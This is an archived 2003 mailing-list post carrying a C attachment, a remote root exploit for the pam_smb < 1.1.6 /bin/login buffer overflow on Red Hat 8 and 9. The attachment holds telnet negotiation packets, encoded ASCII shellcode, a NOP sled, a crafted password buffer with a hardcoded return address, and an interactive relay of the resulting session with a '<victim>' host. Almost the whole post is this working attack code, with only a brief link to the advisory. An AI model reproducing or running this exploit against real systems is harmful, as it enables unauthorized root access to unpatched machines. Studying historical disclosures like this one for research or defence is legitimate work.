Linux pam_smb < 1.1.6 login exploit
Date: Thu, 28 Aug 2003 13:02:48 -0700
From: Huagang Xie <[email protected]>
To: [email protected]
Subject: Linux pam_smb < 1.1.6 login exploit
--+KJYzRxRHjYqLGl5
Content-Type: multipart/mixed; boundary="eHhjakXzOLJAF9wJ"
Content-Disposition: inline
--eHhjakXzOLJAF9wJ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
Adivisory at=20
http://us2.samba.org/samba/ftp/pam_smb/
--=20
LIDS secure linux kernel
http://www.lids.org/
1024D/B6EFB028 4731 2BF7 7735 4DBD 3771 4E24 B53B B60A B6EF B028
--eHhjakXzOLJAF9wJ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="linux_pam_smb.c"
Content-Transfer-Encoding: quoted-printable
/*
* Linux pam_lib_smb < 1.1.6 /bin/login exploit
* by vertex =20
*
* Tested on Redhat 8.0, 9.0
*=20
* greet: nergal, ipxodi.=20
*=20
* Advisory at=20
* http://us2.samba.org/samba/ftp/pam_smb/
*
* code based on : UC_login.c
* SunOS 5.6,5.7,5.8 remote /bin/login root exploit
* [mikecc/unixclan]
*=20
* =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
* In order to use pam_lib_smb, need to add following line on top=20
* of /etc/pam.d/login=20
*=20
* auth required /lib/security/pam_smb_auth.so
*=20
* And config the /etc/pam_smb.conf correctly.
*=20
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <unistd.h>
#include <getopt.h>
/* first negotiate */
/* packet capture by ethereal */
char packet_1[] =3D {
0xff, 0xfd, 0x03, 0xff, 0xfb, 0x18, 0xff, 0xfb,=20
0x1f, 0xff, 0xfb, 0x20, 0xff, 0xfb, 0x21, 0xff,=20
0xfb, 0x22, 0xff, 0xfb, 0x27, 0xff, 0xfd, 0x05,=20
0xff, 0xfb, 0x23 };
char packet_2[] =3D {
0xff, 0xfa, 0x1f, 0x00, 0x62, 0x00, 0x22, 0xff,=20
0xf0, 0xff, 0xfa, 0x20, 0x00, 0x33, 0x38, 0x34,=20
0x30, 0x30, 0x2c, 0x33, 0x38, 0x34, 0x30, 0x30,=20
0xff, 0xf0, 0xff, 0xfa, 0x23, 0x00, 0x6c, 0x69,=20
0x64, 0x73,=20
/* in between ,adding sc */
0x3a, 0x30, 0xff, 0xf0, 0xff, 0xfa,=20
0x27, 0x00, 0x03, 0x58, 0x41, 0x55, 0x54, 0x48,=20
0x4f, 0x52, 0x49, 0x54, 0x59, 0x01, 0x2f, 0x68,=20
0x6f, 0x6d, 0x65, 0x2f, 0x78, 0x69, 0x65, 0x2f,=20
0x2e, 0x58, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72,=20
0x69, 0x74, 0x79, 0x00, 0x44, 0x49, 0x53, 0x50,=20
0x4c, 0x41, 0x59, 0x01,=20
};
char packet_2_1[]=3D{
0x6c, 0x69, 0x64, 0x73,=20
0x3a, 0x30, 0xff, 0xf0, 0xff, 0xfa, 0x18, 0x00,=20
0x58, 0x54, 0x45, 0x52, 0x4d, 0xff, 0xf0 };
/* here is the TERM value */
/*
*/
void login(int);
void negotiate(int);
void sendstr(int,char *,int);
void wont(int sd,int opt);
void will(int sd,int opt);
void cmd(int sd,int opt);
/* ascii shellcode by shellforge (by phillipe biodi)*/
unsigned char sc[] =3D
"hAAAAX5AAAAHPPPPPPPPahA000X5nCX0PhA004X5nRYZPh0A"
"DAX5owxnPTYI19II19h0200X5U9knPTYII19I19hA000X5sO"
"kBPTY19I19I19h4000X59cF4PTY19II19I19h0000X5000FP"
"TY19I19h0002X500w9PTYI19I19h0A00X5uR00PTYII19I19"
"h04AAX5ByVyPTY19II19I19h600AX59FMVPTY19I19I19h00"
"0AX500LZPTY19II19h00E0X5Btz0PTYII19hA4A0X5R8p9PT"
"Y19I19II19h0D20X5Lx8LPTY19h0000X5000kPh00A0X5fcV"
"0PTYI19I19h00B0X5eFXgPTYI19II19\xff\xff\xe4";
int main(int argc,char **argv)
{
struct sockaddr_in sock;
struct hostent *pHe;
int sd; =20
short port =3D -1;
int x;
char *host =3D NULL;
char *user =3D NULL;
char exp[1024];=20
int a;
char *default_port =3D "23";
printf("linux_pam_smb\n");
printf("Linux lib_pam_smb < 1.1.6 /bin/login remote exploit\n");
printf("[vertex//lids/org]\n\n");
if (argc < 2)=20
{
printf("%s -h <victim> [-p port] \n",argv[0]);
return 0;
}
while ((a =3D getopt(argc,argv,"h:p:u:")) !=3D -1)
{
switch (a)=09
{
case 'h':
host =3D optarg;
break;
=09
case 'p':
port =3D atoi(optarg);
break;
default:
printf("[-] invalid option.\n");
break;
}
}
if (host =3D=3D NULL)
{
printf("[-] must specify a host to attack\n");=20
return 0;
}
if (port < 0)
port =3D atoi(default_port);
if ((pHe =3D gethostbyname(host)) =3D=3D NULL)
{
printf("Host lookup error.\n");
return 0;
}
printf("[*] attacking %s:%d\n",host,port);
printf("[*] opening socket\n");
if ((sd =3D socket(AF_INET,SOCK_STREAM,0)) =3D=3D -1)
{
printf("[-] could not create socket");
return 0;
}
sock.sin_family =3D AF_INET;
sock.sin_port =3D htons(port);
memcpy(&sock.sin_addr.s_addr,pHe->h_addr,pHe->h_length);
if ((connect(sd,(struct sockaddr *)&sock,sizeof(sock))) =3D=3D -1)
{
printf("[-] failed to connect to %s\n",host); =20
return 0;
}
printf("[*] connected!\n");
printf("[*] Begin negotiate... \n");
negotiate(sd);
printf("[*] Login... \n");
login(sd);
return 0;
}
void login(int sd)
{
char buf[1024];
char exploit_buf[172];
char cx[3]=3D"\r\n\0";
int x;
fd_set rset;
memset(exploit_buf,'\0',172);
/* let's jump to 0xbffffe30 */
/* eb 30 fe ff bf */
x =3D 0;
exploit_buf[x++]=3D0x68;
/* push 0xbffffe30 */
/* shellcode address */
exploit_buf[x++]=3D0x30;
exploit_buf[x++]=3D0xfe;
exploit_buf[x++]=3D0xff;
exploit_buf[x++]=3D0xff;
exploit_buf[x++]=3D0xff;
exploit_buf[x++]=3D0xbf;
exploit_buf[x++]=3D0xbf;
/* ret */
exploit_buf[x++]=3D0xc3;
=09
memset(exploit_buf+x,'A',150);
x+=3D150;
/* will jmp in the middle of the NOP */
/* overwrite the eip with 0x40000f4f libc-2.3.2 */
/* at this address it is=20
pop $exx
pop $exx
ret=20
*/
exploit_buf[x++]=3D0xb5;
exploit_buf[x++]=3D0xd4;
sleep(2);
memset(buf,'\0',sizeof(buf));
strcpy(buf, "xie\r\n\0");
printf("[*] sending username \n");
sendstr(sd,buf,strlen(buf));
=09
sleep(1);
printf("[*] sending password\n");
sleep(2);
memset(buf,'\0',sizeof(buf));
strcpy(buf, exploit_buf);
strcat(buf,"\r\n\0");
sendstr(sd,buf,strlen(buf));
sleep(2);
fflush(stdout);
FD_ZERO(&rset);
while (1)
{
FD_SET(sd,&rset);
FD_SET(0,&rset);=20
select(sd+1,&rset,0,0,0);
if (FD_ISSET(sd,&rset))=20
{
memset(buf,'\0',sizeof(buf));
if ((x =3D read(sd,buf,sizeof(buf)-1)) =3D=3D 0)
{
printf("Connection closed by foreign host.\n");
exit(-1);
}
fprintf(stderr,"%s",buf);
}
if (FD_ISSET(0,&rset))
{
memset(buf,'\0',sizeof(buf));
if ((x =3D read(0,buf,sizeof(buf)-1)) > 0)
{
write(sd,buf,x);
}
}
}
} =09
/*
* telnet negotiation needed for
* talking with the telnet protocol
*/
void negotiate(int sd)
{
char buf[1024];
char nop[64];
int len;
sendstr(sd, packet_1,sizeof(packet_1));
sleep(2);
memset(buf,'\0',sizeof(buf));
memset(nop,'A',sizeof(nop));
memcpy(buf,packet_2,sizeof(packet_2));
/* adding NOP */
memcpy(buf+sizeof(packet_2), nop, sizeof(nop));
/* shellcode */
memcpy(buf+sizeof(packet_2)+sizeof(nop), sc, sizeof(sc));
/* left packet */
memcpy(buf+sizeof(packet_2)+sizeof(nop)+sizeof(sc),packet_2_1,sizeof(packe=
t_2_1));
=09
len =3D sizeof(packet_2) +sizeof(packet_2_1) + sizeof(nop)+sizeof(sc) ;
sendstr(sd, buf, len);
sleep(1);
=09
/* wont echo */
wont(sd,TELOPT_ECHO);
sleep(1);
/* do echo */
cmd(sd,TELOPT_ECHO);
sleep(2);
}
/*=20
* send a telnet WONT
*
* structure of a telnet WONT is:
* 1. IAC
* 2. WONT
* 3. what you wont do
* (all of the above are found in arpa/telnet.h)
*/
void wont(int sd,int opt)
{
char buf[3];
sprintf(buf,"%c%c%c",IAC,WONT,opt);
write(sd,buf,3); /* no error checking, uh-oh! */
}
/*
* send a telnet WILL
*
* structure of a telnet WILL is:
* 1. IAC
* 2. WILL
* 3. what you will do=20
* (all of the above are found in arpa/telnet.h)
*/
void will(int sd,int opt)
{
char buf[3];
sprintf(buf,"%c%c%c",IAC,WILL,opt);
write(sd,buf,3); /* no error checking, uh-oh! */
} =20
void cmd(int sd,int opt)
{
char buf[3];
sprintf(buf,"%c\xfd%c",IAC,opt);
write(sd,buf,3); /* no error checking, uh-oh! */
}
/*
*
*/
void sendstr(int sd,char *str,int length)
{
write(sd,str,length);
sleep(1);
}
--eHhjakXzOLJAF9wJ--
--+KJYzRxRHjYqLGl5
Content-Type: application/pgp-signature
Content-Disposition: inline
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)
iD8DBQE/Tl/ntTu2CrbvsCgRApUGAJ9I0Gd4qb0HgJdAJnqH8CCHpSzEuwCePFZN
jJG3jqg1txbMAkTsTKnL/UI=
=wIV4
-----END PGP SIGNATURE-----
--+KJYzRxRHjYqLGl5--
